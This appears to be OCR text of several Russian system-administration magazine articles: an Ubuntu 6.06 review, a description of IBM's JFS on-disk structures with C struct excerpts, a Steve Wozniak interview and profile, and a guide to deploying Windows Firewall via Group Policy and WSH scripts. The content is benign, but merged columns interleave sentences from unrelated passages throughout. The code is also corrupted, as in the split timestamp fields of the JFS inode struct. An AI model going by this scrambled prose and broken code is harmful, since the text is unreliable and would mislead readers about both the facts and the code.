этих действий не одинаков для различ- Модульность – для каждой задачи темы rc(8), rc.subr(8), rcorder(8), rc.conf(5),
ных систем, и администраторам приходи- свой скрипт, используя который мож- а также в статье Yar Tikhiy «A practical guide
лось подгонять его под свои нужды путём но запустить, остановить или узнать to BSD rc.d scripting» по адресу: http://people.
редактирования файла /etc/rc. Найти нуж- статус сервиса. freebsd.org/~yar/rcng/article.html.
Сергей Супрунов
Вышла новая версия уже почти культового дистрибутива, который, ворвался на рынок
Linux-систем и по показателю популярности оставил позади таких «монстров», как Fedora Core
и openSUSE. Теперь он нацеливается и на корпоративный сектор.
40
администрирование
ставить Grub, сославшись на какую-то несовместимость
с SATA-дисками. В 6.06 Grub был установлен без лишних
вопросов.
Встречаем по одёжке
Первое, что приятно удивило, – очень качественная руси-
фикация (интерфейс Gnome, пункты меню, всплывающие Рисунок 2. Работа с сетью – тоже на уровне
подсказки, справочная информация – всё поражает высо-
ким качеством перевода).
Рабочее окружение – Gnome 2.14, ядро – 2.6.15. Да и
можно отметить, что версии установленного ПО подобра-
ны самые свежие. Тем не менее появившаяся в 6.06 служ-
ба автоматических обновлений сразу же предложила пос-
тавить 132 обновления. К сожалению, эти обновления не
ранжированы по степени критичности (как это сделано, на-
пример, в OpenSUSE), а на закачку 184 Мб без разбора от-
важится не каждый, равно как и «копаться» в сотне паке-
тов. Впрочем, лиха беда начало – в следующей версии, бу-
дем надеяться, увидим и ранжирование.
Наконец-то на моей «Тошибе» нормально заработал
спящий режим. Правда, по занимаемому времени переход Рисунок 3. Работа с пакетами: легко, удобно, аккуратно...
в него и возврат не сильно отличаются от полного выклю-
чения, но тем не менее – новость приятная. ществом. При необходимости можно поставить и проприе-
Очень понравилась работа Samba – ресурсы домаш- тарные приложения, для которых имеются deb-пакеты. На-
ней Windows-машины стали доступны сразу же после ин- пример, с установкой Opera никаких проблем не возникло –
сталляции системы, без каких-либо дополнительных на- двойной щелчок, и в меню, в разделе «Интернет», появился
строек (рис. 2). дополнительный пункт. Естественно, вы можете в полном
Из приятных мелочей отмечу поддержку «из коробки» объёме использовать и консольные утилиты dpkg.
скроллинга при помощи правого края тачпада моего ноут-
бука. В 5.10 мне его сильно не хватало. Хотя это скорее за- И целого мира мало?
слуга обновлённой версии X-сервера. Начиная с версии 6.06 для Ubuntu декларируется долго-
Ещё одно «косметическое», но удобное новшество – ин- срочная поддержка. Так, для серверных версий обнов-
дикатор прогресса при размонтировании usb-flash. Рань- ления будут доступны в течение пяти лет, для рабочих
ше окончание синхронизации данных приходилось отсле- станций – в течение трёх. Подобный шаг свидетельству-
живать по светодиоду самой «флэшки», теперь же вы точ- ет о стремлении Ubuntu занять своё место и в корпора-
но будете знать момент, когда устройство уже можно отсо- тивном секторе.
единять физически. Пока что состав дистрибутива больше ориентирован на
Из недостатков от прежних версий сохранилось отсутс- домашнего пользователя, чем на офисных клерков. Тем не
твие русских шрифтов в текстовой консоли (переход в ко- менее хорошая поддержка сетей Windows и мощный офис-
торую выполняется по <Ctrl-Alt-Fx>) – система пытается об- ный пакет «из коробки» будут не лишними в локальной сети
щаться с вами по-русски, но в результате на экране – одни предприятия. К тому же имеющиеся версии дистрибутива
квадратики. Впрочем, это легко «лечится» установкой па- для всех основных архитектур (x86, AMD64, Mac, PowerPC) –
кета console-cyrillic. Кстати, о пакетах… хороший задел на будущее.
Как устроена
файловая система JFS
Андрей Пешеходов
JFS, файловая система последнего поколения от IBM, спроектирована стройно и четко,
алгоритмы обработки данных и метаданных отличаются высокой степенью оптимизации.
Но показатели ее производительности не впечатляют. Попробуем разобраться, в чем же дело.
Истоки технологии JFS тирования. В OS/2 Warp Client она бы- тывал reiserfs. Ни одна из указанных
IBM представила свою файловую сис- ла включена в октябре 2000 года. Па- ФС не была полностью функциональ-
тему для UNIX как JFS с первым рели- раллельно с этими усилиями в 1997 на в Linux в 1999 году, и IBM решила,
зом AIX v3.1 в 1990 году. Эта ФС, из- году часть разработчиков JFS верну- что JFS является достаточно сильной
вестная сейчас как JFS1, была основ- лась в команду сопровождения AIX технологией и добавит вес набираю-
ной для AIX в течение 10 лет. Пять лет и занялась адаптацией кода новой JFS щему силу Linux.
спустя была начата работа по ее усо- к этой ОС. К маю 2001 года Enhanced Программисты из IBM посовето-
вершенствованию с целью улучшения Journaled File System (называемая вались с основными разработчиками
масштабируемости и реализации эф- JFS2) была доступна для AIX 5L. В де- файловых систем Linux на счет воз-
фективной поддержки SMP-систем. кабре 1999 года был сделан срез можности добавления еще одной жур-
Также ставилась задача улучшения пе- (snapshot) оригинального дерева ко- налируемой ФС. Одно из основных по-
реносимости ФС для обеспечения ее да JFS, и началась работа по ее пере- ложений философии Linux: выбор –
портирования и в другие операцион- носу в Linux. это хорошо, поэтому идея еще одной
ные системы (код JFS1 был очень тес- ФС была встречена с энтузиазмом.
но привязан к менеджеру памяти AIX, Портирование IBM воспользовалась поддержкой
и вряд ли смог бы эффективно рабо- К декабрю 1999 года уже существо- сообщества Open Source. Команда
тать в OS/2 или Linux). вали 3 перспективные ФС, только JFS последовала совету сообщества:
Новая Journaled File System, на ко- разрабатываемые или переносимые «release early and release often» (до-
торой основана Linux-версия JFS, бы- в Linux. ext2 была в процессе добав- словно: «выпустить рано и выпускать
ла впервые представлена с OS/2 Warp ления журналирования (ext3), SGI на- часто»), и привлекла множество сто-
Server в апреле 1999 года, после не- чала перенос своей файловой систе- ронних разработчиков к переносу JFS
скольких лет проектирования и тес- мы XFS с IRIX, и Hans Reiser разраба- в Linux. Всего через 3 месяца после на-
42
администрирование
чала работ (в феврале 2000) был выпущен первый Linux-ре- /* Двоичный логарифм (s_bsize/s_pbsize) */
__le16 s_l2bfactor;
лиз JFS. Он включал в себя функции mount/unmount и под-
держку программы ls. /* Размер физического блока в байтах */
__le32 s_pbsize;
Рассмотрим особенности устройства и реализации JFS
более подробно. /* Двоичный логарифм s_pbsize */
__le16 s_l2pbsize;
44
администрирование
Основанная на экстентах ФС, предоставляющая поль- /*
* on-disk inode : 512 bytes
зователю возможность задавать размер блока, по идее *
почти не подвержена внутренней фрагментации. Пользо- * note: align 64-bit fields on 8-byte boundary.
*/
ватель может сконфигурировать том с маленьким разме- struct dinode {
ром блока (минимально – 512 байт) для уменьшения внут-
/* 1. Базовая четверть – POSIX атрибуты. 128 байт. */
ренней фрагментации при работе с большим количеством
мелких файлов. /* признак принадлежности inode к конкретному
* файлсету */
Вообще говоря, драйвер JFS старается размещать фай- __le32 di_inostamp;
лы в как можно меньшем количестве экстентов, что позво- __le32 di_fileset; /* номер файлсета */
__le32 di_number; /* номер inode */
ляет формировать длинные I/O-запросы к диску, которые __le32 di_gen; /* номер поколения inode */
(как на запись, так и на чтение) выполняются гораздо бо-
pxd_t di_ixpxd; /* дескриптор inode-экстента */
лее эффективно, чем группа коротких. Однако это не всег-
да возможно. К примеру, copy-on-write клонирование сег- __le64 di_size; /* размер объекта */
__le64 di_nblocks; /* количество выделенных блоков */
мента файла вызовет деление протяженного экстента на
несколько более коротких. Другой пример – ограничение __le32 di_nlink; /* счетчик ссылок на объект */
размера экстента. Он может быть лимитирован при обра- __le32 di_uid; /* UID владельца */
ботке сжатых файлов – так как драйвер должен прочитать __le32 di_gid; /* GID владельца */
в память весь экстент и разжать его. Имея в своем распо- __le32 di_mode; /* атрибуты, формат, разрешения */
ряжении ограниченный объем памяти, драйвер JFS должен
/* время последнего доступа */
быть уверен, что разжимаемые данные не выйдут за пре- struct timestruc_t di_atime;
делы доступного региона. /* время последней модификации атрбутов */
struct timestruc_t di_ctime;
Утилита для дефрагментации избавляет пользовате- /* время последней модификации данных */
ля от роста внешней фрагментации, которая возникает struct timest
/* время создания */
из-за динамического выделения/освобождения экстен- struct timestruc_t di_mtime;ruc_t di_otime;
тов переменной длины. Результат этого процесса – по-
dxd_t di_acl; /* ACL-дескриптор */
явление разбросанных по всему диску свободных экс-
тентов разного размера. Defragment-программа произво- dxd_t di_ea; /* EA-дескриптор */
дит объединение множества мелких свободных экстен- /* следующий доступный индекс в dir_table */
тов в один большой. __le32 di_next_index;
46
администрирование
В файле jfs_xtree объявлена струк- ка журналирования битовых карт при- Механизм журналирования карт
тура xtpage, описывающая заголовок меняется сейчас в reiser4). размещения inodes аналогичен меха-
корня B+дерева. низму защиты битовых карт блоков
В jfs_btree.h есть структура btpage, Выделение inodes и предусматривает наличие рабочего
формат которой соответствует виду При динамическом размещении inodes и постоянного экземпляров карты.
заголовков внутренних и листовых уз- их номера более не привязаны к поло- Каждая страница IAG имеет конт-
лов дерева. жению на диске, и это порождает ряд рольную секцию, содержащую обоб-
проблем, для решения которых было щающую карту inodes. Она использу-
Карта выделения блоков необходимо ввести дополнительные ется для улучшения производитель-
Карта выделения блоков использует- структуры данных: ности процесса поиска. Каждый бит
ся для отслеживания состояния (вы- Прямой поиск – по номеру inode такой карты отображает состояние 32
делен/свободен) блоков тома. Так как найти его на диске (например, при inodes и сбрасывается, если все они
все файлсеты используют общий пул открытии файла). свободны.
дисковых блоков, они используют и об- Обратный поиск – по номеру бло- Кроме того, IAG содержит 128 де-
щую карту. ка найти ближайшие свободные скрипторов inode-экстентов, на кото-
Логически эта карта представля- inodes (при размещении новых рые также имеется обобщающая карта.
ет собой файл, описываемый вторым inodes). Один ее бит отображает состояние од-
inode тома. При форматировании раз- Поиск свободных номеров ного inodes-экстента и будет сброшен,
дела выделяется место сразу под всю inodes – для размещения нового если экстент полностью свободен.
карту, она может менять свой раз- inode-экстента необходимо найти
мер только в случае увеличения/усе- 32 последовательных не занятых Список свободных
чения тома. номера inode. inodes AG
Карта состоит из трех типов 4-кило- Этот список решает проблему обрат-
байтных страниц – контрольная bmap- Карта размещения inodes ного поиска. Так как количество AGs
страница (от block map – блочная кар- Карта размещения inodes решает про- на томе ограничено и заранее извес-
та), контрольные dmap-страницы и сы- блему прямого поиска. Каждый фай- тно, то и количество заголовков этих
рые dmap-страницы. Сырые dmap- лсет тома поддерживает собственную списков также предопределено. За-
страницы содержат по одному биту карту, которая является динамическим головок списка свободных inodes со-
на каждый блок; если бит установлен – массивом групп размещения inodes держится в контрольной (первой) стра-
блок выделен, если сброшен – свобо- (Inode Allocation Group – IAG). Эта кар- нице карты размещения inodes. I-тый
ден. Структуры всех типов страниц оп- та физически расположена в файле, элемент этого массива будет заголов-
ределены в jfs_dmap.h. Не трудно до- описываемым «супер-inode» из таб- ком для двусвязного списка всех IAGs,
гадаться, что контрольная bmap-стра- лицы тома. имеющих свободные inodes. Номер
ница представляет собой корень де- Каждая IAG имеет 4 Кб в размере IAG используется в качестве индекса,
рева, контрольные dmap – его внут- и описывает 128 inode-экстентов. Так значение -1 указывает на конец спис-
ренние узлы, а сырые dmap – листья. как каждый inode-экстент содержит 32 ка. Каждая контрольная страница со-
Высота дерева зависит от размера то- inodes, IAG фактически адресует 4096 держит указатели на голову и хвост
ма. По умолчанию оно имеет 3 уровня inodes. IAG может существовать в лю- списка.
(и может описывать 243 блоков), одна- бом месте тома, однако все описыва- Вставка и удаление из списка сво-
ко, если таковое их количество не тре- емые ею экстенты должны принадле- бодных inodes AG происходит в его го-
буется, inode блочной карты будет опи- жать одной AG, и эта группа прикреп- лове. Вставка происходит, например,
сывать разреженный файл с «дыра- ляется к AG до тех пор, пока хотя бы при размещении нового inode-экстента
ми» на месте первой страницы каждо- один ее inode используется. Как только или при удалении inode из полностью
го из неиспользуемых уровней (напом- все inodes освобождены, новые inodes занятого экстента. В случае, когда все
ню, что «дырой» называется экстент, могут размещаться в любой другой AG. inode-экстенты конкретной IAG запол-
не имеющий дискового воплощения, Формат IAG определен как struct iag няются, она удаляется из списка.
т.е. поле адреса такого экстента будет в jfs_imap.h. Этот список не журналируется.
неопределено). Первая 4-килобайтная страница В случае сбоя он реконструируется
JFS использует особую стратегию карты является контрольной и содер- fsck. Структура списка определена как
фиксации для обеспечения надежного жит общую информацию о ней. Логи- struct dinomap в jfs_imap.h.
внесения обновлений в управляющие чески карта размещения inodes являет-
структуры. Для этого JFS поддержи- ся массивом структур типа struct iag. Список свободных
вает 2 битовые карты в каждой dmap- Физически карта inodes расположе- экстентов AG
странице – рабочую и постоянную. Ра- на в файле, описываемом специаль- Этот список помогает решить пробле-
бочая карта отражает текущее состоя- ным inode из таблицы файлсета. Стра- му обратного поиска и поиска свобод-
ние блоков, а постоянная – зафиксиро- ницы этого файла размещаются и ос- ных номеров inodes. Каждый файлсет
ванное. При освобождении блока пер- вобождаются по необходимости, с при- имеет свой список свободных inode-
вой обновляется постоянная карта, при менением стандартного механизма ин- экстентов на каждую AG. Количество
выделении – рабочая (похожая техни- дексирования через B+ дерево. заголовков этих списков, хранящихся
48
администрирование
во время создания объекта: ACL ка- inode также может быть использована посредственно данные потока. Потоки
талога и файловый ACL. Если есть, под дополнительные xad, поле di_mode не журналируются.
файловый ACL будет применяться в inode будет индикатором доступности
при доступе к любому файлу этого ка- этого пространства. INLINEEA-бит бу- Заключение
талога. дет установлен, если оно доступно. Архитектура и реализация JFS отлича-
Для хранения массива ACL JFS ис- Элемент EA содержит имя атрибу- ются большим своеобразием, на фо-
пользует специальный файл (в каж- та и его значение. Для доступа к кон- не других файловых систем Linux она
дом файлсете), который структуриро- кретному атрибуту JFS просто линей- выглядит «белой вороной». Это обус-
ван так: за каждыми 8 Мб ACL следует но ищет его в экстенте. Расширен- ловлено тем, что JFS изначально про-
4-килобайтная битовая карта занятос- ные атрибуты не журналируются (ес- ектировалась для очень далекой от
ти ACL. ACL-файл журналируется. ли они хранятся не в inode), но пишут- UNIX OS/2. Вероятно, IBM не смогла
ся на диск синхронно. до конца решить одну из поставленных
Расширенные атрибуты при разработке второй версии этой ФС
Расширенные атрибуты (Extended Потоки задач, – создание хорошо переноси-
Attributes – EAs) – это generic-меха- Потоки (streams) в JFS используют- мой ФС, – в среде Linux ее производи-
низм хранения и доступа к данным, ся для прикрепления дополнительных тельность не идеальна.
прикрепленным к объектам JFS. EAs именованных данных к файлам и ката- Но, несмотря на некоторые недо-
хранятся непрерывно в пространстве логам. Из-за ограничений интерфейса четы в работе, JFS была и остается
расширенных атрибутов (Extended VFS, в Linux-версии JFS-потоки не под- очень стабильной файловой систе-
Attribute Space – EAS), как определе- держиваются и здесь упоминаются мой, а ее дизайн представляет чис-
но EA-дескриптором в inode объекта только для полноты картины. то академический интерес – как и ус-
JFS. EA-дескриптор – это просто де- Вторая четверть дискового inode тройство любого программного про-
скриптор экстента, описанный в фай- имеет поле для хранения дескрипто- дукта, сработанного в недрах «голу-
ле jfs_types.h, в структуре dxd_t. ра потока. Так как количество при- бого гиганта».
EA может храниться в области крепленных к объекту потоков может
встроенных данных в inode или в отде- меняться, дескриптор потока содер- 1. www.ibm.com/developerworks.
льном экстенте. Поле flags в дескрип- жит просто номер inode, описывающий 2. www.jfs.sourceforge.net.
торе EA имеет индикатор способа хра- файл со списком номеров inodes вто- 3. Исходные тексты драйвера JFS для
нения. Т.к. область встроенных данных рого уровня. Эти inodes описывают не- Linux-2.6.16.
50
человек номера
тором рок-фестивалей, в 1987 году –
спонсором первого в СССР советско- Стивен Возняк ную компанию Apple. В 1997 году вернулся
американского рок-концерта. Позже, Родился 11 августа 1950 г. в штате Ка- в Apple в качестве консультанта.
в 1990 году, на деньги Стива Возня- лифорния, США. В 1976 году вместе со В декабре 2001 года Стивен Возняк
ка в Советский Союз поставляли ком- Стивом Джобсом создан фирму «Apple вошел в состав совета директоров старт-
пьютеры для школ. И сегодня Стив на- Computer». В середине 70-х компания вы- апа – компании Danger Inc. (http://www.
строен исключительно пророссийски. пустила Apple I и Apple II. В 1980 году осно- danger.com), занимающейся производс-
В июне этого года он с удовольствием ватели Apple Computers стали миллионера- твом карманных интернет-компьютеров. В
приехал на первую в Москве выстав- ми. После аварии самолета в феврале 1981 2002 году Возняк создал компанию Wheels
ку «Interop» и на пресс-конференции года Стивен снова стал студентом Кали- of Zeus («Колеса Зевса»). В 2006 году стал
подробно объяснял, как относятся его форнийского университета, который бро- основателем новой компании «Acquicor
соотечественники к России: «Воспри- сил в 1975 году. В 1985 году покинул род- Technology».
ятие России стало в целом очень хоро-
шим. Мы надеемся, что вы будете на- рые увлечены сказочным сюжетом, за- тения. Apple I Возняк и Джобс придума-
шими хорошими друзьями в будущем. хвачены им». ли в доме Джобса, а прототип создали
Правда, в последнее время я наблю- в гараже Джобса. Джобс сумел угово-
даю большой разброс мнений. Такого Яблочный бум рить местного продавца электроники
не было раньше никогда! Просто уди- Однако, если верить фактам, жизнь заказать им 25 машин. Чтобы собрать
вительно, как много людей отверну- Возняка состоит из сказочных по- деньги, необходимые для производс-
лись от вашей страны. И одновременно воротов, которые меняли его судь- тва такого количества «Apple», Джобс
я встречаю много друзей России, это те бу. А он, баловень фортуны, актив- и Возняк были вынуждены продать
люди, которые не согласны с полити- но сопротивлялся и не желал идти свои самые ценные вещи – Фолькс-
кой Соединенных Штатов Америки. проторенными дорогами. С детства ваген Джобса и научный калькулятор
Увы, противники дружбы с россиянами он лелеял две мечты, и о них сегод- НР Возняка. Они выручили 1300 дол-
не хотят сдаваться даже сейчас, когда ня знает весь мир: «Стать инженером ларов. С этим первоначальным капи-
мы знаем о том, что Россия и Франция и учить детей». В середине 70-х Воз- талом и кредитом наладили серийное
поступают правильно. Они не отка- няк бросил университет, начал рабо- производство. Следом за этим Воз-
жутся от своих отрицательных убеж- тать на «Hewlett-Packard» и параллель- няк бросил НР и стал вице-президен-
дений… Мне очень неприятно, когда но совместно с Джоном Дрейпером том, ответственным за исследование
люди в моей стране говорят о России сконструировал «голубую коробку» – и развитие новой компании, назван-
как о плохом партнере! К сожалению, миниатюрный аппарат, который позво- ной «Apple Computers». Биограф Сти-
это не так просто исправить». Стивен лял незаконно подключаться к телефо- ва Возняка Маниш Стривастава счита-
помрачнел. И добавил уже с энтузиаз- ну и бесплатно звонить в любой уголок ет, что имя «Apple» появилось, потому
мом: «Но бизнес открыт! Как никогда мира. Не слишком нравственное заня- что два Стива вспомнили название за-
раньше. И это уже хорошо». тие? Стив никогда не был пай-мальчи- писывающей компании знаменитой ли-
На пресс-конференции все воп- ком, но и злодеем его назвать нельзя. верпульской четверки «Битлз», а воз-
росы достались изобретателю Apple. Дрейпер вспоминает, что «первый, ко- можно, Джобс просто был под впечат-
Остальные участники встречи с жур- му позвонил Воз, был папа. Воз хотел лением того лета в Орегоне, когда ему,
налистами даже как-то заскучали, по- получить отпущение грехов». К тому безработному, пришлось наняться со-
няв, что они практически не интересуют же особой выгоды из своего изобрете- бирать яблоки.
СМИ. А вот я никак не решалась спро- ния Возняк не мог извлечь. Или не хо- Началась сказка – доходы, быстро
сить то, что интересовало меня. Осо- тел? В этот момент судьба послала растущие в цене акции, популярность,
бенно когда пошли специфические тех- ему… нет, не ангела-хранителя, а друга награды, в их числе Национальная ме-
нические вопросы по поводу информа- и по совместительству менеджера на даль по технологии, врученная самим
ционной безопасности. Подошла после долгие годы. Тезка Стив Джобс за не- президентом США. Пять лет Apple II
официального общения, когда Возняка сколько лет до встречи с Возняком то- оставался бестселлером на рынке
окружили поклонники с просьбой об ав- же бросил вуз и был в поиске… собс- компьютеров. Шеф-редактор IT-из-
тографе и фотографии на память. твенного «я». Так же, как и Воз, Джобсу даний «СК Пресс» Рубен Герр счита-
– Вы верите в сказки? полюбилась компания молодых людей, ет, что «основная причина успеха бы-
– Во что? – искренне удивился компьютерных фанатов в Пало Альто, ла в «происхождении» – его «предок»
Стив. Калифорния, называвших себя Ком- был сделан для «самодельщиков», та-
– В сказки… – робко повторила я. пьютерный клуб «Home-brew» (в пе- ким он в значительной мере и оста-
Ура, я не ошиблась. Верит! Прав- реводе с английского – «домашнее вался. Компьютер никогда не был и,
да, сказкой Возняк считает и видео- пиво»). Джобс считает, что в то время вероятно, никогда не будет закончен-
игры, которые появились еще до ком- он был инженером «примерно такого ным изделием, особенно персональ-
пьютерных, и научную фантастику. же уровня, как Воз», но у Стива Джоб- ный. Apple II можно было достраивать,
И еще, «волшебник Воз» тут же ого- са были способности менеджера, и он дооснащать, словом, переделывать
ворился: «Верю в сказки, но, конеч- предложил Возняку работать вместе по вкусу. Конкурирующие машины та-
но, не так, как маленькие дети, кото- для того, чтобы продавать его изобре- кими свойствами не обладали, гнезд
52
безопасность
Андрей Бирюков
Сейчас локальная сеть любой, даже совсем небольшой организации, защищена от внешних
угроз. Настолько ли хорошо защищены ресурсы внутренней сети?
Защита снаружи, зом, получаем ситуацию, когда рабо- зуется для защиты всех сетевых соеди-
но не изнутри чие станции не защищены персональ- нений, однако для того чтобы гаранти-
Современные средства защиты кор- ным межсетевым экраном и в случае ровать запуск службы Firewall на маши-
поративных ресурсов от внешних уг- если вредоносный код каким-либо об- не пользователя, пропишем его в груп-
роз весьма разнообразны, существуют разом сумеет проникнуть в локаль- повой политике. Предварительно необ-
как аппаратные и программные меж- ную сеть, последствия могут оказать- ходимо все пользовательские машины,
сетевые экраны (например, Cisco PIX, ся весьма неприятными. на которых предполагается включить
CheckPoint или Microsoft ISA), так и сис- Проблему защиты рабочих стан- firewall, поместить в отдельную органи-
темы обнаружения вторжения, разби- ций можно решать с помощью различ- зационную единицу (Organization Unit).
рающие проходящие пакеты до уровня ных средств. Например, многие корпо- Категорически не рекомендуется приме-
приложений, а также шлюзовые анти- ративные антивирусы имеют встроен- нять политики, о которых речь пойдет да-
вирусы, фильтрующие определенный ный межсетевой экран, политики для лее, ко всему домену, так как тогда они
вид трафика. Все эти грозные и доро- которого можно задавать централизо- применются и к серверам, вследствие
гостоящие средства защищают наши ванно, но сегодня я продемонстрирую чего могут быть закрыты порты, необ-
ресурсы от посягательств извне. Одна- аналогичную защиту рабочих стан- ходимые для нормального функциони-
ко стоит оказаться внутри локальной ций с помощью стандартных средств рования клиент-серверных приложений.
сети компании, как тут же обнаружи- Windows, Active Directory и WSH. Сна- Итак, необходимая организационная
вается, что на большинстве пользова- чала опишу, как автоматически уста- единица создана, и пользовательские
тельских машин персональные межсе- новить firewall и задать соответству- машины туда помещены. Теперь на кон-
тевые экраны или отключены, или ра- ющие разрешения для машин, нахо- троллере домена откройте оснастку
ботают в режиме разрешения всех дящихся в домене, а затем, как про- Active Directory Users And Computers, да-
входящих соединений. Такое положе- делать то же самое у пользователей, лее «Computer Management → Windows
ние вещей многие системные адми- не входящих в домен, с помощью сце- Settings → Security Settings → System
нистраторы объясняют просто: «Нам нариев Windows Script Host. Services → Windows Firewall». Включаем
нужен полный доступ к локальной ма- Персональный межсетевой экран использование этого сервиса (Enable)
шине пользователя, и у нас нет време- Windows XP SP2 и Windows 2003 Server и метод запуска автоматический (Startup
ни на настройку портов». Таким обра- SP 1 автоматически включен и исполь- Automatic) (см. рис. 1).
54
безопасность
Теперь в вашей сети на всех пользовательских маши- Правила, которые необходимо настроить на межсетевом экране
нах запущен сервис Windows Firewall. Следующим шагом Порт Протокол Источник Действие Описание
укажите приложения и порты, к которым вы хотите разре- 10001 TCP 172.29.0.0/24 Enable Antivirus
шить доступ снаружи. К сожалению, версия персонального
3999 TCP 172.29.0.2, 172.29.0.200 Enable Remote Admin
межсетевого экрана, входящая в состав Windows XP 2003,
не позволяет блокировать исходящие соединения, только 666 TCP * Disable No Games
входящие, поэтому будет открываться доступ только сна- 999 UDP Localsubnet Enable Stream Video
ружи внутрь.
Allow UPnP exception – позволять исключения для сценарий можно отправить по электронной почте, снаб-
universal Plug and Play (технология, позволяющая раз- див получателя соответствующими инструкциями по его
личным интеллектуальным устройствам устаналивать запуску. Кстати, сценарий, открывающий порты на межсе-
соединения интернет-технологий). тевом экране, может быть также полезен при развертыва-
Prohibit notifications – запрещать уведомления поль- нии приложений, которым для работы необходимы откры-
зователя. тые порты на firewall.
Allow logging – разрешать журналирование. При этом вы При работе с Windows Firewall через сценарии WSH об-
можете сохранять информацию об отклоненных пакетах ратите внимание на то, что этот объект не является WMI-
и об успешных соединениях. Как правило имеет смысл классом, а СОМ-объектом из библиотеки HNetCfg (Home
вести журналирование только отброшенных пакетов, Networking Configuration), которая в свою очередь обеспе-
в случае учета всех соединений лог становится практи- чивает большинство функций межсетевого экрана.
чески нечитаемым из-за своего большого размера. Для обращения к библиотеке HNetCfg в нашем сцена-
Prohibit unicast response to multicast or broadcast – за- рии обязательно должна присутствовать строка:
прещать отправку пакетов в ответ на широковещатель-
ные запросы. Set objFirewall = CreateObject("HNetCfg.FwMgr")
Define port exceptions – определяем порты, которые бу-
дут открыты на межсетевом экране. Эта библиотека содержит ряд объектов:
Allow local port exceptions – разрешить локальные ис- LocalPolicy – этот объект определяет, использовать ли
ключения для портов. локальную политику межсетевого экрана (в оснастке
Group Policy она называлась Standard) или же домен-
Итак, укажите те порты, которые хотите открыть на всех ную политику (Domain).
пользовательских машинах в организационной единице. Profile – объекты управляют профилем Windows Firewall
Открыв свойства «Define Port Exceptions», выбирае- и включают следующие свойства:
те «Enabled», затем «Define port exceptions: Show…». В от- AuthorizedApplications – набор авторизованных
крывшемся окне вам необходимо определить список пор- приложений, к которым разрешено обращение сна-
тов в соответствии со следующим форматом. ружи. Этот список использует объект Profile.
CurrentProfile – свойство задает текущий профиль
<порт>:<протокол>:<источник>:<действие>:<описание> межсетевого экрана. Для установки этого значе-
ния используйте команду NetCfg.FwMgr.LocalPolicy.
Таким образом, после выполнения этих действий вы по- CurrentProfile.
лучите список портов, которые необходимо открыть либо CurrentProfileType –устанавливает тип профиля, ко-
явным образом закрыть (рис. 4). торый использует Windows Firewall. Может иметь зна-
Вот собственно и все, что нужно сделать для того, что- чения: 0 (ноль), если используемый профиль являет-
бы развернуть на машинах в локальной сети под управле- ся доменным, или 1, если это стандартный профиль.
нием Active Directory межсетевой экран и открыть необхо- ExceptionsNotAllowed – свойство указывает, раз-
димые порты. решать ли использование исключений в Windows
Firewall, может иметь значения TRUE или FALSE.
Для тех, кто вне домена… Это необходимый элемент для любого профиля.
Что же делать, если у вас имеются машины, не входящие FirewallEnable – данное свойство определяет, дол-
в домен, например, сеть филиала или ноутбуки сотрудни- жен ли быть включен межсетевой экран на машине,
ков, находящихся в командировке. В такой ситуации можно возможные значения TRUE или FALSE. Это свойс-
прибегнуть к помощи сценариев Windows Script Host. Этот тво доступно через объект Profile.
56
безопасность
GetProfileByType – позволяет получить тип профи- В продолжении темы приведу пример сценария, кото-
ля (Domain или Standard). Например, вызов HNetCfg. рый разрешает доступ по сети к указанному приложению,
FwMgr.GetProfileByType для сценария, используемо- то есть авторизовывает приложение. Как уже упомина-
го в данной статье вернет 0 (Domain). Может исполь- лось выше, этот способ является не слишком безопасным,
зоваться только для объекта CurrentProfile. так как приложение может использовать различные пор-
GloballyOpenPorts – это список открытых портов для ты, но иногда он более удобен, чем явное открытие пор-
данного профиля. Данное свойство доступно через тов. В следующем примере откроем доступ для приложе-
объект профиля. ния, находящегося по адресу c:\myapp.exe для всех узлов
IcmpSettings – свойство доступно только для чтения по протоколу IP версии 4.
и определяет настройки по протоколу ICMP. Также
доступно через свойства профиля. Листинг 2. Сценарий для авторизации приложения
NotificationsDisabled – определяет, отправлять ли ' объявляем объект
пользователю уведомления, возможные значения Set objFirewall = CreateObject("HNetCfg.FwMgr")
' используем текущий профиль
TRUE или FALSE. Доступно через свойства профиля. Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
RemoteAdminSettings – разрешать или запрещать
' объявляем объект
удаленное управление системой. Доступно через Set objApplication = ↵
свойства профиля. CreateObject("HNetCfg.FwAuthorizedApplication")
objApplication.Name = "Corp App" ' указываем имя
Services – набор служб (Services), содержащихся objApplication.IPVersion = 4 ' версия IP
в профиле. Также доступно через свойства про- ' путь к приложению
objApplication.ProcessImageFileName = "c:\myappl.exe"
филя. ' с каких адресов разрешен доступ
Type – показывает тип профиля, доменный или стан- objApplication.RemoteAddresses = "*"
objApplication.Enabled = True
дартный (0 для доменного и 1 для стандартного). До-
ступно через свойства профиля. ' авторизуем приложение
Set colApplications = objPolicy.AuthorizedApplications
' и добавляем его в список авторизованных приложений
Определившись с объектами, которые вы можете ис- colApplications.Add(objApplication)
пользовать при написании WSH-сценария, попробуйте от-
крыть нужные порты на пользовательской машине. От- Иногда возникает необходимость в получении списка
мечу, что сценарий использует тот же набор параметров, всех открытых портов, а также их свойств:
что и групповая политика Active Directory, с одной лишь раз-
ницей, что здесь есть возможность динамически задавать Листинг 3. Сценарий, выводящий список всех открытых портов
и изменять политику межсетевого экрана. Развернуть сце- Set objFirewall = CreateObject("HNetCfg.FwMgr")
нарий на удаленной машине можно, к примеру, отправив Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
данный файл прикрепленным к письму или с помощью FTP. Set colPorts = objPolicy.GloballyOpenPorts
В любом случае вмешательство пользователя для установ-
For Each objPort in colPorts
ки сценария будет минимальным. Wscript.Echo "Port name: " & objPort.Name
Wscript.Echo "Port number: " & objPort.Port
Wscript.Echo "Port IP version: " & objPort.IPVersion
Листинг 1. Сценарий для открытия нового порта Wscript.Echo "Port protocol: " & objPort.Protocol
Wscript.Echo "Port scope: " & objPort.Scope
' объявляется объект HNetCfg Wscript.Echo "Port remote addresses: ↵
Set objFirewall = CreateObject("HNetCfg.FwMgr") " & objPort.RemoteAddresses
' используется текущий профиль Wscript.Echo "Port enabled: " & objPort.Enabled
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile Wscript.Echo "Port built-in: " & objPort.Builtin
' создается новый открытый порт Next
Set objPort = CreateObject("HNetCfg.FwOpenPort")
objPort.Port = 10001 ' номер порта
objPort.Name= "Antivirus" ' наименование Эта информация вам пригодится, когда вы будете изу-
objPort.IPVersion=4 ' версия IP
objPort.Protocol= "TCP" ' вид протокоа чать состояния текущих правил межсетевого экрана и оп-
' с каких адресов разрешен доступ ределять, какие порты необходимо открыть или закрыть.
